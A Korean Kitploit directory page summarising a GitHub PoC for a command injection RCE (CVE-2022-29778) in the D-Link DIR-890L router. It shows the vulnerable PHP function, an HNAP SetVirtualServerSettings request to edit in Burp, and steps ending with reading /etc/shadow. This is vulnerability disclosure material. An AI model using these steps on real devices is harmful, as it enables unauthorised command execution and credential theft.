Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
DIR-890L-1.20-RCE — D-Link DIR-890L RCE (CVE-2022-29778)에 대한 분석 및 PoC | Kitploit
도구/GitHubGitHub/tyeyeah/dir-890l-1.20-rce
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationCommand and Control
GitHubtyeyeah/dir-890l-1.20-rce

DIR-890L-1.20-RCE

D-Link DIR-890L RCE (CVE-2022-29778)에 대한 분석 및 PoC

저장소 보기
14년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

D-Link DIR-890L RCE

영향받는 버전: <= v1.22B01 Hotfix (최신)

펌웨어: 여기

이 모델은 수명 주기가 종료되었습니다. 이 제품과 관련된 리소스는 개발이 중단되었으며 더 이상 지원되지 않습니다. D-Link Systems, Inc.는 이 제품들을 폐기하고 펌웨어 업데이트를 받는 제품으로 교체할 것을 권장합니다.

취약점

펌웨어에서 SetVirtualServerSettings.php에 getWOLMAC 함수를 찾을 수 있습니다.

root@kitploit:~
function getWOLMAC($ipv4addr)
{
	$cmd = "scut -p ".$ipv4addr." -f 3 /proc/net/arp";
	setattr("/runtime/wakeonlan/mac", "get", $cmd);
	$mac = get("", "/runtime/wakeonlan/mac");
	del("/runtime/wakeonlan/mac");
	return $mac;
}

$cmd는 필터링 없이 $ipv4addr을 명령어에 직접 연결하며, 다음에서 호출됩니다.

root@kitploit:~
		$ipv4addr = get("x", "LocalIPAddress");
        ...
		if($description == "Wake-On-Lan")
		{
			$wolmac = getWOLMAC($ipv4addr);
			set($vsvr_entry.":".$InDeX."/wakeonlan_mac", $wolmac);
		}

따라서 $description(가상 서버 이름)을 "Wake-On-Lan"으로 설정하면 가상 서버 관련 페이지(/VirtualServer.html)에서 RCE(원격 명령 실행)가 발생할 수 있습니다.

익스플로잇

  • 인증이 필요하므로 먼저 로그인하세요. 로그인 홈

  • 그런 다음 패널을 통해 접근할 수 없는 가상 서버 페이지 (/VirtualServer.html)를 방문하세요. 가상 서버

  • Wake-On-Lan이라는 규칙을 추가하세요. 규칙 추가 규칙 결과

  • Save 버튼을 클릭하기 전에 burpsuite를 시작하고 다음 패킷을 캡처하세요: 패킷

root@kitploit:~
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetVirtualServerSettings"
HNAP_AUTH: A4A816AE6CF2AC5537B0EB390FFB591C 1436839665
Content-Length: 765
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/VirtualServer.html
Cookie: uid=ZeNYZag3Gw

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<SetVirtualServerSettings>
			<VirtualServerList>
				<VirtualServerInfo>
					<Enabled>true</Enabled>
					<VirtualServerDescription>Wake-On-Lan</VirtualServerDescription>
					<ExternalPort>1</ExternalPort>
					<InternalPort>1</InternalPort>
					<ProtocolType>TCP</ProtocolType>
					<ProtocolNumber>6</ProtocolNumber>
					<LocalIPAddress>192.168.0.100</LocalIPAddress>
					<ScheduleName></ScheduleName>
				</VirtualServerInfo>
			</VirtualServerList>
		</SetVirtualServerSettings>
	</soap:Body>
</soap:Envelope>
  • http 서버를 준비한 후: 파이썬 서버

  • Repeater 모듈을 사용하여 RCE(원격 명령 실행)를 테스트하세요: burpsuite

  • 그러면 다음과 같은 결과를 얻습니다: 결과

  • 명령 삽입을 테스트하고 /etc/shadow를 읽습니다: 명령어 ls /busy/box 결과 명령어 ls /busybox -al 결과 명령어 cat /etc/shadow 결과

도구 다운로드